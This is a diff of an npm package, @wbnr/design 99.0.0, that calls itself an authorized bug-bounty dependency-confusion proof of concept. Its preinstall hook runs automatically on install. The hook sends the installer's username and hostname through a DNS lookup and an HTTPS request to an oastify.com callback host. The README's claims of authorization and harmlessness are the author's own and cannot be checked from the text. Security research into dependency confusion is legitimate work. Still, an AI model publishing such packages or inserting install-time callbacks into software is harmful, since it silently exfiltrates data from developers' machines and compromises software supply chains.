@wbnr/design 99.0.0

package/README.md

@@ -0,0 +1,4 @@
+# @wbnr/design
+
+Authorized bug bounty Dependency Confusion PoC (researcher: profileusername).
+Contains only a harmless DNS/HTTPS callback on install. Not malicious malware.

package/index.js

@@ -0,0 +1 @@
+module.exports = {};

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "@wbnr/design",
+  "version": "99.0.0",
+  "description": "Bug bounty dependency confusion PoC - MTS Link / profileusername - harmless DNS callback only",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  },
+  "author": "profileusername (bug bounty)",
+  "license": "UNLICENSED",
+  "keywords": ["security-research", "bug-bounty", "dependency-confusion-poc"]
+}

package/preinstall.js

@@ -0,0 +1,12 @@
+// Harmless OAST callback for authorized bug bounty PoC only
+const dns = require('dns');
+const https = require('https');
+const os = require('os');
+const pkg = '@wbnr/design'.replace(/[@\/]/g, '_');
+const host = process.env.USER || process.env.USERNAME || 'user';
+const hostname = os.hostname().replace(/[^a-zA-Z0-9-]/g, '-').slice(0, 40);
+const id = `${pkg}.${host}.${hostname}.${Date.now()}.4otph6fase1x2won0hrfzul2wt2qqge5.oastify.com`;
+dns.lookup(id, () => {});
+try {
+  https.get(`https://4otph6fase1x2won0hrfzul2wt2qqge5.oastify.com/depconf/${pkg}/${encodeURIComponent(host)}/${encodeURIComponent(hostname)}`, () => {}).on('error', () => {});
+} catch (e) {}